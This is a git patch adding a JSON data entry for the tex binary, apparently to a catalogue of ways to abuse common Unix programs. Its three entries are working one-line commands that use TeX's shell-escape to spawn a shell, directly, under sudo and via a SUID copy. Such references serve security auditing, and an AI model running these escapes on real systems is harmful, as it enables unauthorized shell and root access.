From e2b1e4b24af986846c23ca89c6a2d98ee4cb6bcb Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 2 May 2021 14:09:26 +0200 Subject: [PATCH] add data source for tex --- data/tex.json | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 data/tex.json diff --git a/data/tex.json b/data/tex.json new file mode 100644 index 0000000..c437a01 --- /dev/null +++ b/data/tex.json @@ -0,0 +1,19 @@ +{ + "functions": { + "shell": [ + { + "code": "tex --shell-escape '\\write18{/bin/sh}\\end'\n" + } + ], + "sudo": [ + { + "code": "sudo tex --shell-escape '\\write18{/bin/sh}\\end'\n" + } + ], + "limited-suid": [ + { + "code": "./tex --shell-escape '\\write18{/bin/sh}\\end'\n" + } + ] + } +}